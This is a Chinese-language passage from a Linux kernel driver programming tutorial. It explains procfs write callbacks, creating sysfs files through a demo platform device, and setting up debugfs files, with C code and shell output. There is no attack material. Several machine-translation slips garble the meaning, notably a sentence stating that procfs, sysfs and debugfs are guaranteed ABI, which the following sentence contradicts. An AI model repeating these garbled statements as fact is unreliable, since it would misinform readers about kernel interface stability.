                const char __user *ubuf, size_t count, loff_t *off)
{
   char buf[12];
   int ret = count, prev_dbglevel;
   [...]
   prev_dbglevel = debug_level;
 *// < ... validity checks (not shown here) ... >*
   /* Get the user mode buffer content into the kernel (into 'buf') */
   if (copy_from_user(buf, ubuf, count)) {
        ret = -EFAULT;
        goto out;
   }
   [...]
   ret = kstrtoint(buf, 0, &debug_level); /* update it! */
   if (ret)
        goto out;
  if (debug_level < DEBUG_LEVEL_MIN || debug_level > DEBUG_LEVEL_MAX) {
            [...]
            debug_level = prev_dbglevel;
            ret = -EFAULT; goto out;
   }
   /* just for fun, let's say that our drv ctx 'config1'
      represents the debug level */
   gdrvctx->config1 = debug_level;
   ret = count;
out:
   mutex_unlock(&mtx);
   return ret;
}

在我们的写方法实现中(注意它在结构上与字符设备驱动程序的写方法有多相似),我们进行了一些有效性检查,然后将用户空间进程写入的数据复制到我们这里(回想一下我们如何使用echo命令写入 procfs 文件),通过通常的copy_from_user()函数。然后,我们使用内核内置的kstrtoint() API(类似的还有几个)将字符串缓冲区转换为整数,并将结果存储在我们的全局变量中;也就是debug_level!再次验证它,如果一切正常,我们还设置(只是作为一个例子)我们驱动程序上下文的config1成员为相同的值,然后返回一个成功消息。

  1. 内核模块的其余代码非常相似-我们为剩下的三个 procfs 文件设置功能。我留给你详细浏览代码并尝试它。

  2. 另一个快速演示:让我们将debug_level设置为1,然后通过我们创建的第三个 procfs 文件转储驱动程序上下文结构:

$ cat /proc/procfs_simple_intf/llkdproc_debug_level
debug_level:0
$ sudo sh -c "echo 1 > /proc/procfs_simple_intf/llkdproc_debug_level"
  1. 好的,debug_level变量现在将具有值1;现在,让我们转储驱动程序上下文结构:
$ cat /proc/procfs_simple_intf/llkdproc_show_drvctx 
cat: /proc/procfs_simple_intf/llkdproc_show_drvctx: Permission denied
$ sudo cat /proc/procfs_simple_intf/llkdproc_show_drvctx 
prodname:procfs_simple_intf
tx:0,rx:0,err:0,myword:0,power:1
config1:0x1,config2:0x48524a5f,config3:0x424c0a52
oursecret:AhA xxx
$ 

我们需要root访问权限才能这样做。一旦完成,我们可以清楚地看到我们的drv_ctx数据结构的所有成员。不仅如此,我们还验证了加粗显示的config1成员现在的值为1,因此反映了设计的“调试级别”。

另外,请注意输出是故意以高度可解析的格式生成到用户空间,几乎类似于 JSON。当然,作为一个小练习,你可以安排精确地做到这一点!

最近大量的物联网IoT)产品使用 RESTful API 进行通信;通常解析的格式是 JSON。养成在易于解析的格式(如 JSON)中设计和实现内核到用户(反之亦然)的通信的习惯只会有所帮助。

有了这个,你已经学会了如何创建 procfs 目录、其中的文件,以及最重要的是如何创建和使用读写回调函数,以便当用户模式进程读取或写入你的 proc 文件时,你可以从内核深处做出适当的响应。正如我们之前提到的,由于空间不足,我们将不描述驱动其余三个 procfs 文件的代码。从概念上讲,这与我们刚刚讨论的非常相似。我们希望你能仔细阅读并尝试一下!

一些杂项 procfs API

让我们通过查看一些剩余的杂项 procfs API 来结束本节。你可以使用proc_symlink()函数在/proc中创建一个符号或软链接。

接下来,proc_create_single_data() API 可能非常有用;它被用作一个“快捷方式”,在那里你只需要将一个“读”方法附加到一个 procfs 文件:

struct proc_dir_entry *proc_create_single_data(const char *name, umode_t mode, struct     
        proc_dir_entry *parent, int (*show)(struct seq_file *, void *), void *data);

使用这个 API 可以消除对单独的 fops 数据结构的需求。我们可以使用这个函数来创建和处理我们的第二个 procfs 文件——llkdproc_show_pgoff文件:

... proc_create_single_data(PROC_FILE2, PROC_FILE2_PERMS, gprocdir, proc_show_pgoff, 0) ...

从用户空间读取时,内核的 VFS 和 proc 层代码路径将调用已注册的方法——我们模块的proc_show_pgoff()函数——在其中我们轻松地调用seq_printf()PAGE_OFFSET的值发送到用户空间:

seq_printf(seq, "%s:PAGE_OFFSET:0x%px\n", OURMODNAME, PAGE_OFFSET);

此外,请注意proc_create_single_data API 的以下内容:

  • 你可以利用proc_create_single_data()的第五个参数将任何数据项传递给读回调(在那里作为seq_file成员private检索,非常类似于我们在上一章中使用filp->private_data的方式)。

  • 内核主线中的一些通常较老的驱动程序确实使用这个函数来创建它们的 procfs 接口。其中之一是 RTC 驱动程序(在/proc/driver/rtc设置一个条目)。SCSI megaraid驱动程序(drivers/scsi/megaraid)使用这个例程至少 10 次来设置它的 proc 接口(当启用配置选项时;默认情况下是启用的)。

小心!我发现在运行分发(默认)内核的 Ubuntu 18.04 LTS 系统上,这个 API——proc_create_single_data()——甚至都不可用,所以构建失败了。在我们自定义的“纯净”5.4 LTS 内核上,它运行得很好。

此外,关于我们在这里设置的 procfs API,有一些文档,尽管这些文档往往是用于内部使用而不是用于模块:www.kernel.org/doc/html/latest/filesystems/api-summary.html#the-proc-filesystem

因此,正如我们之前提到的,使用 procfs API 是一个因人而异YMMV)的情况!在发布之前,请仔细测试你的代码。最好遵循内核社区的指南,并简单地对 procfs 作为驱动程序接口技术说。不用担心,我们将在本章的其余部分中看到更好的方法!

这完成了我们对使用 procfs 作为有用通信接口的覆盖。现在,让我们学习如何为驱动程序使用更合适的接口- sysfs 接口。

通过 sys 文件系统进行接口

2.6 Linux 内核发布的一个关键特性是现代设备模型的出现。基本上,一系列复杂的类似树状的分层数据结构对系统上所有设备进行建模。实际上,它远不止于此;sysfs树包括以下内容(以及其他内容):

  • 系统上存在的每个总线(也可以是虚拟或伪总线)

  • 每个总线上的设备

  • 每个绑定到总线上设备的设备驱动程序

因此,它不仅仅是外围设备,还有底层系统总线,每个总线上的设备以及绑定到设备的设备驱动程序,这些都是在运行时由设备模型创建和维护的。这个模型的内部工作对于您作为典型的驱动程序作者来说是不可见的;您不必真正担心它。在系统引导时,以及每当新设备变得可见时,驱动程序核心(内置内核机制的一部分)会在 sysfs 树下生成所需的虚拟文件。(相反,当设备被移除或分离时,其条目会从树中消失。)

请记住,从与 proc 文件系统进行接口部分可以看出,对于设备驱动程序的接口目的来说,使用 procfs 并不是真正正确的方法,至少对于想要上游移动的代码来说。那么,什么才是正确的方法呢?啊,创建 sysfs(伪)文件被认为是设备驱动程序与用户空间进行接口的“正确方式”

所以,现在我们明白了!sysfs 是一个虚拟文件系统,通常挂载在/sys目录上。实际上,sysfs 与 procfs 非常相似,是一个内核导出的信息(设备和其他)树,发送到用户空间。您可以将 sysfs 视为对现代设备模型具有不同视口。通过 sysfs,您可以以几种不同的方式或通过不同的“视口”查看系统;例如,您可以通过它支持的各种总线(总线视图-PCI、USB、平台、I2C、SPI 等)查看系统,通过各种设备的“类”(视图),通过设备本身,通过设备视口等等。下面的屏幕截图显示了我在 Ubuntu 18.04 LTS VM 上的/sys目录的内容:

图 2.2 - 屏幕截图显示了 x86_64 Ubuntu VM 上 sysfs(/sys)的内容

我们可以看到,通过 sysfs,还有其他几个视口可以用来查看系统。当然,在这一部分,我们希望了解如何通过 sysfs 将设备驱动程序与用户空间进行接口,如何编写代码在 sysfs 下创建我们的驱动程序(伪)文件,以及如何注册从中读取/写入的回调。让我们首先看一下基本的 sysfs API。

在代码中创建一个 sysfs(伪)文件

在 sysfs 下创建伪(或虚拟)文件的一种方法是通过device_create_file()API。其签名如下:

drivers/base/core.c:int device_create_file(struct device *dev,
                         const struct device_attribute *attr);

让我们逐个考虑它的两个参数;首先,有一个指向struct device的指针。第二个参数是指向设备属性结构的指针;我们稍后将对其进行解释和处理(在设置设备属性和创建 sysfs 文件部分)。现在,让我们只关注第一个参数-设备结构。这似乎很直观-设备由一个称为device的元数据结构表示(它是驱动程序核心的一部分;您可以在include/linux/device.h头文件中查找其完整定义)。

请注意,当您编写(或处理)“真实”设备驱动程序时,很有可能会存在或产生一个通用的设备结构。这通常发生在注册设备时;一个底层设备结构通常作为该设备的专用结构的成员而提供。例如,所有结构,如platform_devicepci_devicenet_deviceusb_devicei2c_clientserial_port等,都嵌入了一个struct device成员。因此,您可以使用该设备结构指针作为在 sysfs 下创建文件的 API 的参数。请放心,您很快就会看到这在代码中被执行!因此,让我们通过创建一个简单的“平台设备”来获得一个设备结构。您将在下一节中学习如何做到这一点!

创建一个简单的平台设备

显然,为了在 sysfs 下创建(伪)文件,我们需要一些东西作为device_create_file()的第一个参数,即一个指向struct device的指针。然而,对于我们这里和现在的演示 sysfs 驱动程序,我们实际上没有任何真正的设备,因此也没有struct device可以操作!

那么,我们不能创建一个人工伪设备并简单地使用它吗?是的,但是如何,更重要的是,为什么我们需要这样做?至关重要的是要理解,现代Linux 设备模型LDM)是建立在三个关键组件上的:必须存在一个底层总线,设备驻留在上面,并且设备由设备驱动程序“绑定”和驱动。(我们已经在第一章中提到过,编写一个简单的 misc 字符设备驱动程序,在A quick note on the Linux Device Model部分)。

所有这些都必须注册到驱动核心。现在,不要担心驾驶它们的公交车和公交车司机;它们将在内核的驱动核心子系统内部注册和处理。然而,当没有真正的设备时,我们将不得不创建一个伪设备以便与模型一起工作。再次,有几种方法可以做这样的事情,但我们将创建一个平台设备这个设备将“存在”于一个伪总线(即,它只存在于软件中)上,称为平台总线**。

平台设备

一个快速但重要的侧面:平台设备通常用于表示嵌入式板内系统芯片SoC)上各种设备的多样性。SoC 通常是一个集成了各种组件的非常复杂的芯片。除了处理单元(CPU/GPU)外,它可能还包括多个外围设备,包括以太网 MAC、USB、多媒体、串行 UART、时钟、I2C、SPI、闪存芯片控制器等。我们需要将这些组件枚举为平台设备的原因是 SoC 内部没有物理总线;因此使用平台总线。

传统上,用于实例化这些 SoC 平台设备的代码保存在内核源代码中的“板”文件(或文件)中(arch/<arch>/...)。由于它变得过载,它已经从纯内核源代码中移出,转移到一个称为设备树的有用硬件描述格式中(在内核源树中的设备树源DTS)文件中)。

在我们的 Ubuntu 18.04 LTS 虚拟机中,让我们看看 sysfs 下的平台设备:

$ ls /sys/devices/platform/
alarmtimer  'Fixed MDIO bus.0'   intel_pmc_core.0   platform-framebuffer.0   reg-dummy   
serial8250 eisa.0  i8042  pcspkr power rtc_cmos uevent
$

Bootlin网站(以前称为Free Electrons)提供了关于嵌入式 Linux、驱动程序等方面的出色材料。他们网站上的这个链接指向了关于 LDM 的优秀材料:bootlin.com/pub/conferences/2019/elce/opdenacker-kernel-programming-device-model/

回到驱动程序:我们通过platform_device_register_simple() API 将我们的(人工)平台设备注册到(已经存在的)平台总线驱动程序,从而使其存在。在我们这样做的时候,驱动核心将生成所需的 sysfs 目录和一些样板 sysfs 条目(或文件)。在这里,在我们的 sysfs 演示驱动程序的初始化代码中,我们将通过将其注册到驱动核心来设置一个(可能最简单的)平台设备

// ch2/sysfs_simple_intf/sysfs_simple_intf.c
include <linux/platform_device.h>
static struct platform_device *sysfs_demo_platdev;
[...]
#define PLAT_NAME    "llkd_sysfs_simple_intf_device"
sysfs_demo_platdev =
     platform_device_register_simple(PLAT_NAME, -1, NULL, 0);
[...]

platform_device_register_simple() API 返回一个指向struct platform_device的指针。该结构的成员之一是struct device dev。我们现在得到了我们一直在寻找的:一个设备 结构。此外,需要注意的是,当这个注册 API 运行时,效果在 sysfs 中是可见的。你可以很容易地看到新的平台设备,以及一些样板 sysfs 对象,由驱动核心在这里创建(通过 sysfs 对我们可见);让我们构建和insmod我们的内核模块来看看这一点:

$ cd <...>/ch2/sysfs_simple_intf
$ make && sudo insmod ./sysfs_simple_intf.ko
[...]
$ ls -l /sys/devices/platform/llkd_sysfs_simple_intf_device/
total 0
-rw-r--r-- 1 root root 4.0K Feb 15 20:22 driver_override
-rw-r--r-- 1 root root 4.0K Feb 15 20:22 llkdsysfs_debug_level
-r--r--r-- 1 root root 4.0K Feb 15 20:22 llkdsysfs_pgoff
-r--r--r-- 1 root root 4.0K Feb 15 20:22 llkdsysfs_pressure
-r--r--r-- 1 root root 4.0K Feb 15 20:22 modalias
drwxr-xr-x 2 root root 0 Feb 15 20:22 power/
lrwxrwxrwx 1 root root 0 Feb 15 20:22 subsystem -> ../../../bus/platform/
-rw-r--r-- 1 root root 4.0K Feb 15 20:21 uevent
$ 

我们可以以不同的方式创建一个struct device;通用的方法是设置并发出device_create() API。创建 sysfs 文件的另一种方法,同时绕过设备结构的需要,是创建一个“对象”并调用sysfs_create_file() API。(在进一步阅读部分可以找到使用这两种方法的教程链接)。在这里,我们更喜欢使用“平台设备”,因为它更接近于编写(平台)驱动程序。

还有另一种有效的方法。正如我们在第一章中所看到的,编写一个简单的杂项字符设备驱动程序,我们构建了一个符合内核misc框架的简单字符驱动程序。在那里,我们实例化了一个struct miscdevice;一旦注册(通过misc_register() API),这个结构将包含一个名为struct device *this_device;的成员,因此我们可以将其用作有效的设备指针!因此,我们可以简单地扩展我们之前的misc设备驱动程序并在这里使用它。然而,为了学习一些关于平台驱动程序的知识,我们选择了这种方法。(我们将扩展我们之前的misc设备驱动程序以便它可以使用 sysfs API 并创建/使用 sysfs 文件的方法留给你作为练习)。

回到我们的驱动程序,与初始化代码相比,在清理代码中,我们必须取消注册我们的平台设备:

platform_device_unregister(sysfs_demo_platdev);

现在,让我们把所有这些知识联系在一起,实际上看一下生成 sysfs 文件的代码,以及它们的读取和写入回调函数!

把所有这些联系在一起——设置设备属性并创建 sysfs 文件

正如我们在本节开头提到的,device_create_file() API 是我们将用来创建我们的 sysfs 文件的 API:

int device_create_file(struct device *dev, const struct device_attribute *attr);

在上一节中,你学会了如何获取设备结构(我们 API 的第一个参数)。现在,让我们弄清楚如何初始化和使用第二个参数;也就是device_attribute结构。该结构本身定义如下:

// include/linux/device.hstruct device_attribute {
    struct attribute attr;
    ssize_t (*show)(struct device *dev, struct device_attribute *attr,
                    char *buf);
    ssize_t (*store)(struct device *dev, struct device_attribute *attr,
                     const char *buf, size_t count);
};

第一个成员attr本质上包括 sysfs 文件的名称模式(权限掩码)。另外两个成员是函数指针(“虚函数”,类似于文件操作fops结构中的函数):

  • show:表示读取回调函数

  • store:表示写入回调函数

我们的工作是初始化这个device_attribute结构,从而设置 sysfs 文件。虽然你可以手动初始化它,但也有一个更简单的方法:内核提供了(几个)用于初始化struct device_attribute的宏;其中之一是DEVICE_ATTR()宏:

// include/linux/device.h
define DEVICE_ATTR(_name, _mode, _show, _store) \
   struct device_attribute dev_attr_##_name = __ATTR(_name, _mode, _show, _store)

注意dev_attr_##_name执行的“字符串化”,确保结构的名称后缀是作为DEVICE_ATTR的第一个参数传递的名称。此外,实际的“工作”宏,名为__ATTR(),实际上在预处理时在代码中实例化了一个device_attribute结构,通过字符串化使结构的名称变为dev_attr_<name>

// include/linux/sysfs.h
#define __ATTR(_name, _mode, _show, _store) { \
    .attr = {.name = __stringify(_name), \
    .mode = VERIFY_OCTAL_PERMISSIONS(_mode) }, \
    .show = _show, \
    .store = _store, \
}

此外,内核定义了额外的简单包装宏,以覆盖这些宏,以指定 sysfs 文件的模式(权限),从而使驱动程序作者更加简单。其中包括DEVICE_ATTR_RW(_name)DEVICE_ATTR_RO(_name)DEVICE_ATTR_WO(_name)

#define DEVICE_ATTR_RW(_name) \
     struct device_attribute dev_attr_##_name = __ATTR_RW(_name)
#define __ATTR_RW(_name) __ATTR(_name, 0644, _name##_show, _name##_store)

有了这段代码,我们可以创建一个读写RW),只读RO)或只写WO)的 sysfs 文件。现在,我们希望设置一个可以读取和写入的 sysfs 文件。在内部,这是一个“挂钩”或回调,用于查询或设置一个debug_level全局变量,就像我们之前在 procfs 的示例内核模块中所做的那样!

现在我们有了足够的背景知识,让我们深入了解代码!

实现我们的 sysfs 文件和它的回调的代码

让我们看看我们简单的sysfs 接口驱动程序的相关部分的代码,并逐步尝试一些东西:

  1. 设置设备属性结构(通过DEVICE_ATTR_RW宏;有关更多信息,请参见前面的部分),并创建我们的第一个 sysfs(伪)文件:
// ch2/sysfs_simple_intf/sysfs_simple_intf.c
#define SYSFS_FILE1 llkdsysfs_debug_level
// [... *<we show the actual read/write callback functions just a bit further down>* ...]
static DEVICE_ATTR_RW(SYSFS_FILE1);

int __init sysfs_simple_intf_init(void)
{
 [...]
*/* << 0\. The platform device is created via the platform_device_register_simple() API; code already shown above ... >> */*

 // 1\. Create our first sysfile file : llkdsysfs_debug_level
 /* The device_create_file() API creates a sysfs attribute file for
  * given device (1st parameter); the second parameter is the pointer
  * to it's struct device_attribute structure dev_attr_<name> which was
  * instantiated by our DEV_ATTR{_RW|RO} macros above ... */
  stat = device_create_file(&sysfs_demo_platdev->dev, &dev_attr_SYSFS_FILE1);
[...]

从这里显示的宏的定义中,我们可以推断出static DEVICE_ATTR_RW(SYSFS_FILE1);实例化了一个初始化的device_attribute结构,名称为llkdsysfs_debug_level(因为这就是SYSFS_FILE1宏的评估结果),模式为0644;读回调名称将是llkdsysfs_debug_level_show(),写回调名称将是llkdsysfs_debug_level_store()

  1. 这是读取和写入回调的相关代码(同样,我们不会在这里显示整个代码)。首先,让我们看看读取回调:
/* debug_level: sysfs entry point for the 'show' (read) callback */
static ssize_t llkdsysfs_debug_level_show(struct device *dev,
                                          struct device_attribute *attr,
                                          char *buf)
{
        int n;
        if (mutex_lock_interruptible(&mtx))
                return -ERESTARTSYS;
        pr_debug("In the 'show' method: name: %s, debug_level=%d\n",   
                 dev->kobj.name, debug_level); 
        n = snprintf(buf, 25, "%d\n", debug_level);
        mutex_unlock(&mtx);
        return n;
}

这是如何工作的?在读取我们的 sysfs 文件时,将调用前面的回调函数。在其中,简单地写入用户提供的缓冲指针buf(它的第三个参数;我们使用内核的snprintf()API 来做到这一点),会将提供的值(这里是debug_level)传输到用户空间!

  1. 让我们构建并insmod(8)内核模块(为方便起见,我们将使用我们的lkm包装脚本来执行):
$ ../../lkm sysfs_simple_intf          // <-- build and insmod it[...]
[83907.192247] sysfs_simple_intf:sysfs_simple_intf_init():237: sysfs file [1] (/sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level) created
[83907.197279] sysfs_simple_intf:sysfs_simple_intf_init():250: sysfs file [2] (/sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_pgoff) created
[83907.201959] sysfs_simple_intf:sysfs_simple_intf_init():264: sysfs file [3] (/sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_pressure) created
[83907.205888] sysfs_simple_intf initialized
$
  1. 现在,让我们列出并读取与调试级别相关的 sysfs 文件:
$ ls -l /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level
-rw-r--r-- 1 root root 4096 Feb   4 17:41 /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level
$ cat /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level
0

这反映了调试级别目前为0

  1. 现在,让我们来看看我们的写回调的代码,用于调试级别的 sysfs 文件:
#define DEBUG_LEVEL_MIN 0
#define DEBUG_LEVEL_MAX 2

static ssize_t llkdsysfs_debug_level_store(struct device *dev,
                                           struct device_attribute *attr,
                                           const char *buf, size_t count)
{
        int ret = (int)count, prev_dbglevel;
        if (mutex_lock_interruptible(&mtx))
                return -ERESTARTSYS;

        prev_dbglevel = debug_level;
        pr_debug("In the 'store' method:\ncount=%zu, buf=0x%px count=%zu\n"
        "Buffer contents: \"%.*s\"\n", count, buf, count, (int)count, buf);
        if (count == 0 || count > 12) {
                ret = -EINVAL;
                goto out;
        }

        ret = kstrtoint(buf, 0, &debug_level); /* update it! */
 *// < ... validity checks ... >*
        ret = count;
 out:
        mutex_unlock(&mtx);
        return ret;
}

同样,应该清楚kstrtoint()内核 API 用于将用户空间的buf字符串转换为整数值,然后我们进行验证。此外,kstrtoint的第三个参数是要写入的整数,因此更新它!

  1. 现在,让我们尝试更新debug_level的值,从它的 sysfs 文件中:
$ sudo sh -c "echo 2 > /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level"
$ cat /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level
2
$

看,它有效了!

  1. 就像我们在与 procfs 进行接口时所做的那样,我们在 sysfs 代码示例中提供了更多的代码。在这里,我们有另一个(只读)sysfs 接口来显示PAGE_OFFSET的值,还有一个新的接口。想象一下,这个驱动程序的工作是获取一个“pressure”值(可能通过一个 I2C 驱动的压力传感器芯片)。让我们假设我们已经这样做了,并将这个压力值存储在一个名为gpressure的整数全局变量中。要向用户空间“显示”当前的压力值,我们必须使用一个 sysfs 文件。在这里:

在内部,为了这个演示的目的,我们已经随机将gpressure全局变量设置为值25

$ cat /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_pressure
25$

仔细看输出;为什么在25之后立即出现提示?因为我们只是打印了值本身 - 没有换行,什么都没有;这是预期的。显示“pressure”值的代码确实很简单:

/* show 'pressure' value: sysfs entry point for the 'show' (read) callback */
static ssize_t llkdsysfs_pressure_show(struct device *dev,
                       struct device_attribute *attr, char *buf)
{
        int n;
        if (mutex_lock_interruptible(&mtx))
                return -ERESTARTSYS;
        pr_debug("In the 'show' method: pressure=%u\n", gpressure);
        n = snprintf(buf, 25, "%u", gpressure);
        mutex_unlock(&mtx);
        return n;
}
/* The DEVICE_ATTR{_RW|RO|WO}() macro instantiates a struct device_attribute dev_attr_<name> here...   */
static DEVICE_ATTR_RO(llkdsysfs_pressure); 

有了这些,你已经学会了如何通过 sysfs 与用户空间进行接口交互!像往常一样,我敦促你实际编写代码并尝试这些技能;看一下本章末尾的问题部分,自己尝试(相关的)任务。现在,让我们继续学习 sysfs,了解一个关于其 ABI 的重要规则

“一个 sysfs 文件对应一个值”的规则

到目前为止,你已经了解了如何为用户空间内核接口目的创建和使用 sysfs,但有一个关键点我们一直忽略。关于使用 sysfs 文件,有一个“规则”,规定你只能读取或写入一个值!把这看作是一个值对应一个文件的规则。

因此,就像我们使用“压力”值的示例一样,我们只返回压力的当前值,没有其他内容。因此,与其他接口技术不同,sysfs 并不适用于那些可能希望将任意冗长的信息包(比如驱动程序上下文结构的内容)返回给用户空间的情况;换句话说,它并不适用于纯粹的“调试”目的。

内核文档和关于 sysfs 使用的“规则”可以在这里找到:www.kernel.org/doc/html/latest/admin-guide/sysfs-rules.html#rules-on-how-to-access-information-in-sysfs

此外,这里有关于 sysfs API 的文档:www.kernel.org/doc/html/latest/filesystems/api-summary.html#the-filesystem-for-exporting-kernel-objects

内核通常提供多种不同的方式来创建 sysfs 对象;例如,使用sysfs_create_files() API,你可以一次创建多个 sysfs 文件:int __must_check sysfs_create_files(struct kobject *kobj, const struct attribute * const *attr);。在这里,你需要提供一个指向kobject的指针和一个指向属性结构列表的指针。

这就结束了我们关于 sysfs 作为接口技术的讨论;总之,sysfs 确实被认为是驱动程序作者向用户空间显示和/或设置特定驱动程序值的正确方式。由于“一个 sysfs 文件对应一个值”的约定,sysfs 实际上并不理想地适用于调试信息的分发。这很好地引出了我们的下一个主题——debugfs!

通过调试文件系统(debugfs)进行接口

想象一下,作为 Linux 驱动程序开发人员,你面临的困境:你希望实现一种简单而优雅的方式,从你的驱动程序向用户空间提供调试“挂钩”。例如,用户只需在(伪)文件上执行cat(1),就会导致你的驱动程序的“调试回调”函数被调用。然后它将继续向用户模式进程转储一些状态信息(也许是“驱动程序上下文”结构),用户模式进程将忠实地将其转储到标准输出。

好的,没问题:在 2.6 版本发布之前的日子里,我们可以(就像你在通过 proc 文件系统(procfs)进行接口部分学到的那样)愉快地使用 procfs 层来将我们的驱动程序与用户空间进行接口。然后,从 Linux 2.6 开始,内核社区否决了这种方法。我们被告知严格停止使用 procfs,而是使用 sysfs 层作为我们的驱动程序与用户空间进行接口的手段。然而,正如我们在通过 sys 文件系统(sysfs)进行接口部分看到的那样,它有一个严格的一个值对应一个文件的规则。这对于从驱动程序发送和接收单个值(通常是环境传感器值等)非常适用,但很快就排除了除了最简单的调试接口以外的所有情况。我们可以使用 ioctl 方法(正如我们将看到的)来设置一个调试接口,但这样做要困难得多。

那么,你能做什么呢?幸运的是,从大约 2.6.12 版的 Linux 开始,就有了一个优雅的解决方案,称为 debugfs。这个“调试文件系统”非常容易使用,并且在传达驱动程序作者(实际上是任何人)可以用它来做任何他们选择的目的时非常明确!没有一个文件规则 - 忘记那个,没有规则。

当然,就像我们处理的其他基于文件系统的方法一样 - procfs,sysfs 和现在的 debugfs - 内核社区明确声称所有这些接口都是 ABI,因此它们的稳定性和寿命是被保证的。虽然这是正式采取的立场,但现实是这些接口已经成为现实世界中的事实标准;毫无征兆地将它们剥离出去真的不会为任何人服务。

以下截图显示了我们的 x86-64 Ubuntu 18.04.3 LTS 客户机上 debugfs 的内容(运行我们在伴随书籍Linux Kernel Programming第三章从源代码构建 5.0 Linux 内核,第二部分中构建的"custom" 5.4.0 内核):

图 2.3 - 展示了 x86_64 Linux VM 上 debugfs 文件系统内容的截图

与 procfs 和 sysfs 一样,由于 debugfs 是一个内核特性(毕竟它是一个虚拟文件系统!),它内部的内容非常依赖于内核版本和 CPU 架构。正如我们之前提到的,通过查看这个截图,现在应该很明显,debugfs 有很多真实世界的“用户”。

检查 debugfs 的存在

首先,为了利用强大的debugfs接口,它必须在内核配置中启用。相关的 Kconfig 宏是CONFIG_DEBUG_FS。让我们检查一下我们的 5.4 自定义内核上是否启用了它:

在这里,我们假设您已经将CONFIG_IKCONFIGCONFIG_IKCONFIG_PROC选项设置为y,因此允许我们使用/proc/config.gz伪文件来访问当前内核的配置。

$ zcat /proc/config.gz | grep -w CONFIG_DEBUG_FS
CONFIG_DEBUG_FS=y

的确如此;它通常在发行版中默认启用。

接下来,debugfs 的默认挂载点是/sys/kernel/debug。因此,我们可以看到它在内部依赖于 sysfs 内核特性的存在和默认挂载,这是默认情况下的。让我们来检查一下在我们的 Ubuntu 18.04 x86_64 VM 上 debugfs 被挂载在哪里:

$ mount | grep -w debugfs
debugfs on /sys/kernel/debug type debugfs (rw,relatime)

它可用并且挂载在预期的位置;也就是说,/sys/kernel/debug

当然,最好的做法是永远不要假设这将永远是它被挂载的位置;在您的脚本或用户模式 C 程序中,要费心去检查和验证它。事实上,让我重新表达一下:永远不要假设任何事情是一个很好的做法;做假设是错误的一个很好的来源

顺便说一下,一个有趣的 Linux 特性是文件系统可以被挂载在不同的,甚至多个位置;此外,一些人更喜欢创建一个符号链接到/sys/kernel/debug作为/debug;这取决于你,真的。

像往常一样,我们的意图是在 debugfs 的保护下创建我们的(伪)文件,然后注册并利用它们的读/写回调,以便将我们的驱动程序与用户空间进行接口。为此,我们需要了解 debugfs API 的基本用法。我们将在下一节中为您指向这方面的文档。

查找 debugfs API 文档

内核提供了关于使用 debugfs API 的简明而出色的文档(由 Jonathan Corbet, LWN 提供):www.kernel.org/doc/Documentation/filesystems/debugfs.txt(当然,您也可以直接在内核代码库中查找)。

我建议您参考这份文档,学习如何使用 debugfs API,因为它易于阅读和理解;这样,您就可以避免在这里不必要地重复相同的信息。除了前面提到的文档之外,现代内核文档系统(基于“Sphinx”)还提供了相当详细的 debugfs API 页面:www.kernel.org/doc/html/latest/filesystems/api-summary.html?highlight=debugfs#the-debugfs-filesystem

请注意,所有 debugfs API 都只向内核模块公开为 GPL(因此需要模块在“GPL”许可下发布(这可以是双重许可,但必须是“GPL”))。

与 debugfs 的接口示例

Debugfs 被故意设计为“没有特定规则”的思维方式,使其成为用于调试目的的理想接口。为什么?它允许您构造任意的字节流并将其发送到用户空间,包括使用debugfs_create_blob()API 发送二进制“blob”。

我们之前的示例内核模块使用 procfs 和 sysfs 构建和使用了三到四个(伪)文件。为了快速演示 debugfs,我们将只使用两个“文件”:

  • llkd_dbgfs_show_drvctx:正如您无疑猜到的那样,当读取时,它将导致我们(现在熟悉的)“驱动程序上下文”数据结构的当前内容被转储到控制台;我们将确保伪文件的模式是只读的(由 root)。

  • llkd_dbgfs_debug_level:这个文件的模式将是读写(仅由 root);当读取时,它将显示debug_level的当前值;当写入一个整数时,我们将更新内核模块中的debug_level的值为传递的值。

在我们的内核模块的初始化代码中,我们将首先在debugfs下创建一个目录:

// ch2/debugfs_simple_intf/debugfs_simple_intf.c

static struct dentry *gparent;
[...]
static int debugfs_simple_intf_init(void)
{
    int stat = 0;
    struct dentry *file1, *file2;
    [...]
    gparent = debugfs_create_dir(OURMODNAME, NULL);

现在我们有了一个起点——一个目录——让我们继续创建它下面的 debugfs(伪)文件。

创建和使用第一个 debugfs 文件

为了可读性和节省空间,我们不会在这里展示错误处理代码部分。

就像在 procfs 的示例中一样,我们必须分配和初始化我们的“驱动程序上下文”数据结构的一个实例(我们没有在这里展示代码,因为它是重复的,请参考 GitHub 源代码)。

然后,通过通用的debugfs_create_file()API,我们必须创建一个debugfs文件,并将其与一个file_operations结构相关联。这实际上只是注册了一个读回调:

static const struct file_operations dbgfs_drvctx_fops = {
    .read = dbgfs_show_drvctx,
};
[...]
*// < ... init function ... >*
   /* Generic debugfs file + passing a pointer to a data structure as a
    * demo.. the 4th param is a generic void * ptr; it's contents will be
    * stored into the i_private field of the file's inode.
    */
#define DBGFS_FILE1 "llkd_dbgfs_show_drvctx"
    file1 = debugfs_create_file(DBGFS_FILE1, 0440, gparent,
                (void *)gdrvctx, &dbgfs_drvctx_fops);
    [...]

从 Linux 5.8 开始(请回忆我们正在使用 5.4 LTS 内核),一些 debugfs 创建 API 的返回值已被移除(它们将返回void);Greg Kroah-Hartman 的补丁提到这样做是因为没有人在使用它们。这在 Linux 中非常典型——不需要的功能被剥离,内核继续演进……

显然,“读”回调是我们的dbgfs_show_drvctx()函数。作为提醒,每当读取debugfs文件(llkd_dbgfs_show_drvctx)时,这个函数会被 debugfs 层自动调用;这是我们的 debugfs 读回调函数的代码:

static ssize_t dbgfs_show_drvctx(struct file *filp, char __user * ubuf,
                                 size_t count, loff_t * fpos)
{
    struct drv_ctx *data = (struct drv_ctx *)filp->f_inode->i_private;
                       // retrieve the "data" from the inode
#define MAXUPASS 256   // careful- the kernel stack is small!
    char locbuf[MAXUPASS];

    if (mutex_lock_interruptible(&mtx))
        return -ERESTARTSYS;

